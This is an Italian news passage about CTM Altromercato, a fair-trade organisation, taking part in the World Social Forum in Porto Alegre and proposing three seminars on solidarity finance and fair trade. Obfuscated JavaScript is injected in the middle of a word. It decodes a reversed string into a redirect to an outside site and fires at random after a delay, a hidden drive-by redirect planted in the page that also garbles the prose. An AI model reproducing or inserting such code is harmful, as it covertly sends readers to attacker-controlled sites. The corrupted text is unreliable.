CTM Altromercato e l'economia sociale

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Ctm e’ presente a Porto Alegre con l’obiettivo di proseguire il lavoro iniziato a Firenze durante il Forum Europeo: tessere rapporti con altre organizzazioni di economia solidale, in particolare europee e sudamericane. La centrale del commercio equo e solidale piu’ gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande d’Europa (il prossimo bilancio dovrebbe chiudersi con un fatturato di circa 50 miliardi di vecchie lire) e’ soddisfatta per la sempre maggior diffusione di temi come il consumo critico, la finanza etica, l’economia locale ma anche per la preziosa eredità di rapporti e fiducia che il Forum lascia tra organizzazioni che operano nello steso campo e che solo l’anno scorso non si conoscevano. Ctm, una tra le organizzazioni fondatrici della Rete Lilliput, propone all’interno del World Social Forum tre seminari: “Come rendere la finanza solidale uno strumento di finanziamento privilegiato per il commercio equo e solidale”, “Consumo ed economia sociale” e Commercio equo: un’alternativa alla globalizzazione?”

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